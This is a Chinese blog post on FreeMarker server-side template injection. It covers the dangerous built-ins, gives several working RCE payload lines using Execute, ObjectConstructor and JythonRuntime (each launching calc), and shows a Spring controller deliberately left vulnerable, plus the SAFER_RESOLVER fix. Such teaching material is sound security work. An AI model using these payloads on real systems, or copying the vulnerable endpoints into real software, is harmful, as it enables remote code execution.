freemarker模版注入

news2024/12/23 6:26:10

Freemarker模版注入漏洞

    • 模版注入漏洞根因(SSTI,服务器端模版注入)
    • freemarker介绍
    • Freemarker模版注入漏洞关键点
    • 漏洞复现
      • 环境
      • 引入依赖
      • poc
    • 修复方案
    • 完整代码(包含修复)
    • 参考

模版注入漏洞根因(SSTI,服务器端模版注入)

由于模版内容部分或全部被外部控制,导致在模版加载或渲染到页面上时触发模版注入漏洞,模版注入漏洞一般可以造成RCE、敏感信息泄露和XSS,当模版被加载会触发RCE,当模版被渲染到页面上会触发敏感信息泄露和XSS。

freemarker介绍

FreeMarker 是一款模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

FreeMarker类似XSLT模版,XSLT原理=xsl模版+xml数据,而Freemarker原理=flt模板+datamode

FreeMarker模板文件主要由如下4个部分组成:

  • (1)文本:直接输出的部分
  • (2)注释:使用<#-- ...-->格式做注释,里面内容不会输出
  • (3)插值:即${...}#{...}格式的部分,类似于占位符,将使用数据模型中的部分替代输出
  • (4)FTL指令:即FreeMarker指令,FTL标签和HTML标签有一些相似之处,但是它们是FreeMarker的指令,是不会在输出中打印的。 这些标签的名字以 # 开头,用户自定义的FTL标签则需要使用 @ 来代替 #

Freemarker模版注入漏洞关键点

  • Freemarker注入的本质就是用户输入可以控制模版的内容,导致模版的结构发生改变。Freemarker的漏洞触发发生在两个地方,第一个就是模版被加载的时候,这个时候触发的是RCE,第二个就是内容被输出到页面后方位该页面的时候,这个时候触发的是XSS。

    FreeMarker内置函数:

    • new:可创建任意实现了TemplateModel接口的Java对象,同时还可以触发没有实现 TemplateModel接口的类的静态初始化块。可以调用new的危险类:

      危险类说明
      freemarker.template.utility.JythonRuntime需额外安装依赖,否则报错
      freemarker.template.utility.Execute自带
      freemarker.template.utility.ObjectConstructor自带
    • API:value?api 提供对 value 的 API(通常是 Java API)的访问,由此可以使用危险的api函数

以下场景存在漏洞触发的风险:

  • 模版能够被用户控制
  • datamodel能够被用户控制

Freemarker大致代码如下:

Template template = configuration.getTemplate("freemarker_rce1.ftl");
Map map = new HashMap();
map.put("message", message);
Writer out = new FileWriter(TEMPLATE_PATH+"freemarker_rce1.html");
template.process(map, out);

一旦模版文件被控制,就会在调用getTemplate触发漏洞,这是第一个场景;一旦map被控制,就会在调用process时将恶意的脚本渲染到页面中,当页面被访问就会触发漏洞,这是第二个场景

有关于内置函数api:

(1)如果想要在模版中调用某个方法或对象,需要将其传入datamodel

添加datamodel:

map.put("object", new Object());

调用object:

<#assign uri=object?api.getClass()><p>${uri}</p>

getClass即object的方法

(2)从 FreeMarker 版本 2.3.22 开始使用TemplateModelWithAPISupport规定可以使用的model:

ArrayModel: 用于表示 Java 中的数组。
BeanModel: 用于表示 JavaBeans,提供对属性和方法的访问。
BooleanModel: 用于表示布尔值。
CollectionModel: 用于表示 Java 集合。
DateModel: 用于表示日期和时间。
DefaultEnumerationAdapter: 将 Enumeration 适配为模板模型。
DefaultIterableAdapter: 将实现了 Iterable 接口的对象适配为模板模型。
DefaultIteratorAdapter: 将 Iterator 适配为模板模型。
DefaultListAdapter: 将 Java 的 List 适配为模板模型。
DefaultMapAdapter: 将 Map 适配为模板模型。
DefaultNonListCollectionAdapter: 将非列表类型的集合适配为模板模型。
EnumerationModel: 用于表示枚举值。
IteratorModel: 用于表示迭代器。
MapModel: 用于表示映射表。
NumberModel: 用于表示数字。
ResourceBundleModel: 用于表示资源束。
SimpleMapModel: 用于表示简单的映射表。
StringModel: 用于表示字符串。

比如,由于支持BeanModel,我们可以定义一个java Bean,实例化后通过DataModel传入到模版中,就目前看来,还没找到适合漏洞利用的一些api,参考连接中提供的部分POC与jdk 17似乎并不太适配,后续再看

另外还需要注意,支持以上Model的前提是setAPIBuiltinEnabled(true),以下是代码逻辑:

在这里插入图片描述

漏洞复现

java中支持Freemarker的依赖有以下两种:

  • spring boot:

    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-freemarker</artifactId>
    </dependency>
    
  • maven自引

    <dependency>
        <groupId>org.freemarker</groupId>
        <artifactId>freemarker</artifactId>
        <version>2.3.32</version>
    </dependency>
    
  • 如果还需要jpython

    <dependency>
    	<groupId>org.python</groupId>
    	<artifactId>jython-standalone</artifactId>
    	<version>2.7.2</version>
    </dependency>
    

环境

jdk 17 + Freemarker 2.3.32 + jpython 2.7.2

引入依赖

<dependency>
    <groupId>org.freemarker</groupId>
    <artifactId>freemarker</artifactId>
    <version>2.3.32</version>
</dependency>
<dependency>
	<groupId>org.python</groupId>
	<artifactId>jython-standalone</artifactId>
	<version>2.7.2</version>
</dependency>

poc

模版内容示例:

<html>
<head>
    <meta charset="utf-8">
    <title>Freemarker rce</title>
</head>
<body>
<h3>
    show:${message}

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}

  </h3>

</body>
</html>

(1)RCE

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}

<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("calc")}

<#assign ccc="freemarker.template.utility.Execute"?new()> ${ccc("calc")}

<#assign value="freemarker.template.utility.ObjectConst ructor"?new()>${value("java.lang.ProcessBuilder","calc").start()}

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc")

(2)XSS

插值注入,即向${...}#{...}格式的部分注入xss脚本即可

修复方案

2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析:

  • UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className)获取任何类

  • SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor这三个类。

  • ALLOWS_NOTHING_RESOLVER:不能解析任何类。

因此直接使用configuration.setNewBuiltinClassResolver设置为SAFER_RESOLVERALLOWS_NOTHING_RESOLVER即可,而对于危险内置函数api(api自2.3.22版本之后默认为false默认是关闭的),避免使用configuration.setAPIBuiltinEnabled(true);启用api即可

完整代码(包含修复)

package com.example.demo.vulnerability.template;

import freemarker.cache.MultiTemplateLoader;
import freemarker.cache.StringTemplateLoader;
import freemarker.cache.TemplateLoader;
import freemarker.core.TemplateClassResolver;
import freemarker.template.Configuration;
import freemarker.template.Template;
import freemarker.template.TemplateException;
import freemarker.template.utility.JythonRuntime;
import org.python.util.PythonInterpreter;
import org.springframework.web.bind.annotation.*;
import java.io.*;
import java.net.URISyntaxException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;


@RestController
public class FreeMarkerDemo {

    String TEMPLATE_PATH="C:\\code\\java\\demo\\demo\\src\\main\\resources\\static\\templates\\freemarker\\";
    //freemarker基本使用
    @GetMapping(value = "/template/freemarker")
    public void test() throws IOException, TemplateException {
        //1.创建配置类
        Configuration configuration = new Configuration(Configuration.getVersion());
        //2.设置模板所在的目录
        configuration.setDirectoryForTemplateLoading(new File(TEMPLATE_PATH));
        //3.设置字符集
        configuration.setDefaultEncoding("utf-8");
        //4.加载模板
        Template template = configuration.getTemplate("freemarker_xss.ftl");
        //5.创建数据模型
        Map map = new HashMap();
        map.put("name", "张三");
        map.put("message", "欢迎来到我的博客!");
        //6.创建Writer对象
        Writer out = new FileWriter(TEMPLATE_PATH+"freemarker.html");
        //7.输出
        template.process(map, out);
        //8.关闭Writer对象
        out.close();
    }

    //使用模版文件触发xss
    @GetMapping(value = "/template/freemarker/xss")
    public void xss(String name, String message) throws IOException, TemplateException {

        Configuration configuration = new Configuration(Configuration.getVersion());

        configuration.setDirectoryForTemplateLoading(new File(TEMPLATE_PATH));

        configuration.setDefaultEncoding("utf-8");

        Template template = configuration.getTemplate("freemarker_xss.ftl");
        if (name==null){
            name = "hello world";
        }
        if (message==null){
            message = "hello world";
        }
        Map map = new HashMap();
        map.put("name", name);
        map.put("message", message);

        Writer out = new FileWriter(TEMPLATE_PATH+"freemarker_xss.html");

        template.process(map, out);

        out.close();
    }

    //恶意模版文件被加载导致RCE
    @GetMapping(value = "/template/freemarker/rce1")
    public void rce1(String message) throws IOException, TemplateException {
        Configuration configuration = new Configuration(Configuration.getVersion());

        configuration.setDirectoryForTemplateLoading(new File(TEMPLATE_PATH));

        configuration.setDefaultEncoding("utf-8");

        configuration.setAPIBuiltinEnabled(true);

        Template template = configuration.getTemplate("freemarker_rce1.ftl");
        if (message==null){
            message = "hello world";
        }
        Map map = new HashMap();
        map.put("message", message);

        Writer out = new FileWriter(TEMPLATE_PATH+"freemarker_rce1.html");

        template.process(map, out);

        out.close();

    }

    //用户输入直接修改模版内容
    @PostMapping(value = "/template/freemarker/rce2")
    public void rce2(String content) throws IOException, TemplateException {
        Configuration configuration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);

        configuration.setDirectoryForTemplateLoading(new File(TEMPLATE_PATH));

        configuration.setDefaultEncoding("utf-8");

        //启用内置函数api,函数new默认是可以使用的,无需手动启用
        configuration.setAPIBuiltinEnabled(true);

        StringTemplateLoader stringLoader = new StringTemplateLoader();
        stringLoader.putTemplate("freemarker_rce2.ftl", content);
        configuration.setTemplateLoader(new MultiTemplateLoader(new TemplateLoader[]{stringLoader,
                configuration.getTemplateLoader()}));

        Template template = configuration.getTemplate("freemarker_rce2.ftl");

        Map map = new HashMap();

        map.put("object", new Object());
        map.put("file",new String(Files.readAllBytes(Paths.get("C:\\code\\java\\demo\\demo\\src\\main\\resources\\application.properties"))));

        Writer out = new FileWriter(TEMPLATE_PATH+"freemarker_rce2.html");
        template.process(map, out);

        out.close();



    }

    //修复
    @GetMapping(value = "/template/freemarker/repair1")
    public void repair1(String message) throws IOException, TemplateException {
        Configuration configuration = new Configuration(Configuration.getVersion());

        configuration.setDirectoryForTemplateLoading(new File(TEMPLATE_PATH));

        configuration.setDefaultEncoding("utf-8");

        Template template = configuration.getTemplate("freemarker_rce1.ftl");

        //禁止使用ObjectConstructor和Execute,另外api自2.3.22版本之后默认为false默认是关闭的
        //2.3.17版本开始可以设置此配置,
        configuration.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
        if (message==null){
            message = "hello world";
        }
        Map map = new HashMap();
        map.put("message", message);

        Writer out = new FileWriter(new File(TEMPLATE_PATH+"freemarker_rce.html"));
        try{
            template.process(map, out);
        }catch (Exception e){
            System.out.println(e);
        }

        out.close();
    }

    public static void main(String[] args) throws URISyntaxException, IOException {
        //jython测试
//        PythonInterpreter interpreter = new PythonInterpreter();
        PythonInterpreter interpreter = new JythonRuntime();
//        new JythonRuntime();
        // 可以设置变量供 Python 脚本使用
        interpreter.set("myVar", "Hello, World!");

        // 执行 Python 脚本
        try {
            interpreter.exec("import os;os.system(\"calc\")");
        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}

参考

  • 渗透测试XSLT - FreeBuf网络安全行业门户
  • Java安全之freemarker 模板注入 - nice_0e3 - 博客园 (cnblogs.com)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2076959.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

乾坤大挪移--将一个混乱的excel分类整理的辅助VBA代码

excel 乾坤大挪移 你不需要将工作表手动分类&#xff1b; 只需要在”已整理“的标题行增加标题列&#xff0c; listbox会自动获取”已整理“sheet中的标题列&#xff0c;并列出来 你只需要选中同一列中的单元格&#xff0c;点击想移动到的列表的类别&#xff0c;双击或者点…

【云故事探索】NO.7:「越用越上瘾」,中华财险 60% 研发人员用通义灵码提效

云布道师 中华联合财产保险股份有限公司运用“云大模型”技术革新业务&#xff0c;通过阿里云的通义灵码大幅提升编码效率&#xff0c;近60%的研发人员采用&#xff0c;采纳的生成代码占比约20%&#xff0c;显著提升了团队创新能力与代码质量&#xff0c;并积极探索大模型在更多…

基于SpringBoot的智慧党建系统+uniapp移动端+LW示例参考

1.项目介绍 技术栈环境&#xff1a;SpringBootthymeleafuniappIDEA NavicatMySQL 功能介绍&#xff1a; 后端功能&#xff1a;首页管理&#xff08;轮播图、通知公告、新闻管理&#xff09;、用户管理&#xff08;用户信息、用户反馈、用户订单、用户动态&#xff09;、其他…

一文搞定MybatisPlus

Mybatis简介 MyBatis-Plus&#xff08;简称 MP&#xff09;是一个 MyBatis 的增强工具&#xff0c;在 MyBatis 的基础上只做增强不做改变&#xff0c;为简化开发、提高效率而生。 &#xff08;来自官网&#xff09; 体验Mybatisplus 1.创建SpringBoot工程&#xff0c;导入m…

HarmonyOS--认证服务-操作步骤

HarmonyOS–认证服务 文章目录 一、注册华为账号开通认证服务二、添加项目&#xff1a;*包名要与项目的包名保持一致三、获取需要的文件四、创建项目&#xff1a;*包名要与项目的包名保持一致五、添加json文件六、加入请求权限七、加入依赖八、修改构建配置文件&#xff1a;bui…

【UDS诊断】——0x34、0x36、0x37服务

&#x1f64b;‍♂️【UDS诊断服务介绍合集】系列&#x1f481;‍♂️点击跳转 文章目录 一、服务概述1.0x34服务——请求下载数据1.1.0x34格式 2.0x36服务——数据传输2.1.0x36格式 3.0x37服务——退出上传下载3.1.0x37格式 一、服务概述 Client端使用Routine Control服务来…

WIN32实现远程桌面监控

文章目录 完整代码API简介调试代码 后记reference 完整代码 server.cpp #include <winsock2.h> #include <Ws2tcpip.h> #include <windows.h> #include <stdio.h> #include <vector> #pragma comment(lib, "ws2_32.lib")LRESULT CAL…

什么是韦恩图,怎么制作?用这款软件在线绘制,简单又好用!

在日常工作和学习中&#xff0c;我们经常需要用图表来可视化呈现复杂的信息和关系。其中&#xff0c;韦恩图是一种简洁而强大的可视化工具&#xff0c;能够清晰地展现集合之间的关系&#xff0c;诸如包含与被包含、互斥、并列等。 不过对刚接触韦恩图的人而言&#xff0c;或多…

traceroute命令这样用,追踪主机路由没烦恼

号主&#xff1a;老杨丨11年资深网络工程师&#xff0c;更多网工提升干货&#xff0c;请关注公众号&#xff1a;网络工程师俱乐部 晚上好&#xff0c;我的网工朋友。 网络的稳定性和可靠性对于业务连续性至关重要。当涉及到网络连接问题时&#xff0c;有一个强大的工具就是 tr…

Certum Domain Validation CA SHA2

Certum是波兰的一家数字证书厂家&#xff0c;该机构也是目前世界第四家兼容性在99%机构&#xff08;包括历史版本浏览器&#xff09;&#xff0c;目前在国内有授权提供商&#xff1a;Gworg提供签发和认证&#xff0c;拥有二级代理划分&#xff0c;适合长期做SSL证书业务或者集成…

年薪100K入职字节测试岗现在分享下我常背的软件测试面试题

800道软件测试面试真题&#xff0c;高清打印版打包带走&#xff0c;横扫软件测试面试高频问题&#xff0c;涵盖测试理论、Linux、MySQL、Web测试、接口测试、APP测试、Python、Selenium、性能测试、LordRunner、计算机网络、数据结构与算法、逻辑思维、人力资源等模块面试题&am…

Linux文件编程(系统API调用)

文章目录 Linux文件编程标注C的IO缓存类型代码示例--缓存区的存在 文件I/O系统调用标准C库关于文件的输入输出函数FILE结构体文件描述符文件描述符与文件指针的相互转换 系统调用常用函数open函数&#xff08;打开或者创建文件&#xff09;creat函数&#xff08;创建一个现有文…

JAVA-封装

目录 一、封装的概念 二、封装扩展之包 1. 包的概念 2.导入包中的类 3.自定义包 4.常见的包 三、访问限定符 在同一包中&#xff1a; 在不同包中&#xff1a;​编辑 一、封装的概念 面向对象程序三大特性&#xff1a;封装、继承、多态。而类和对象阶段&#xff0c;主…

ESP32修改分区表

修改分区表 官方参考 在工程目录文件夹新建分区表&#xff0c;参考官方的写就行&#xff0c;我这里改成了8M的FLASH&#xff0c;所以新建的分区表为名字是 default_8MB.csv &#xff0c;内容如下&#xff1a; # Name, Type, SubType, Offset, Size, Flags nvs, data, …

后端微服务与分布式系统

编写一篇关于后端微服务和分布式系统的文档&#xff0c;需要详细讨论微服务架构的核心概念、优缺点、关键技术&#xff0c;以及在分布式系统中的应用。以下是文档的大纲和内容概述&#xff1a; 后端微服务与分布式系统 1. 简介 微服务架构是一种将大型应用程序分解为一系列小…

leetCode - - - 二叉树

目录​​​​​​​ 1.前中后序遍历&#xff08;递归&#xff09; 2.前中后序遍历&#xff08;迭代&#xff09; 3.翻转二叉树&#xff08;LeetCode 226&#xff09; 4.最大二叉树&#xff08; LeetCode 654 &#xff09; 5.平衡二叉树&#xff08; LeetCode 110 &#xf…

02- javascript 高阶-构造函数(知识点)呀

目录 1.构造函数 1.1 JS构造函数的实例成员和静态成员 1.1.1实例成员 1.1.2静态成员 1.2构造函数原型prototype 1.3对象原型 1.4 constructor构造函数 1.5原型链 1.6构造函数实例和原型对象三角关系 1.7原型链和成员的查找机制 1.7.1 Object.prototype.hasOwnPropert…

WEB渗透Win提权篇-提权工具合集

提权工具合集包&#xff1a; 夸克网盘分享 往期文章 WEB渗透Win提权篇-RDP&Firewall-CSDN博客 WEB渗透Win提权篇-MSSQL-CSDN博客 WEB渗透Win提权篇-MYSQL-udf-CSDN博客 WEB渗透Win提权篇-AccountSpoofing-CSDN博客 WEB渗透Win提权篇-弱权限提权-CSDN博客 Tools合集 工…

UVa1670/LA5920 Kingdom Roadmap

UVa1670/LA5920 Kingdom Roadmap 题目链接题意分析AC 代码 题目链接 本题是2011年icpc欧洲区域赛东北欧赛区的K题 题意 输入一个n&#xff08;n≤100000&#xff09;个结点的树&#xff0c;添加尽量少的边&#xff0c;使得任意删除一条边之后图仍然连通。如下图所示&#xff0…

如果是你,你会背叛师门吗?看了凌晨一点杭州隧道里睡满的外卖员,我觉得李佳琦被骂一点也不冤——早读(逆天打工人爬取热门微信文章解读)

如果是你&#xff0c;你会背叛师门吗&#xff1f;&#xff1f; 引言Python 代码第一篇 洞见 看了凌晨一点杭州隧道里睡满的外卖员&#xff0c;我觉得李佳琦被骂一点也不冤第二篇 股市风云结尾 (先不论人品如何&#xff0c;这个问题就有点类似董宇辉跟新东方&#xff0c;大伙且看…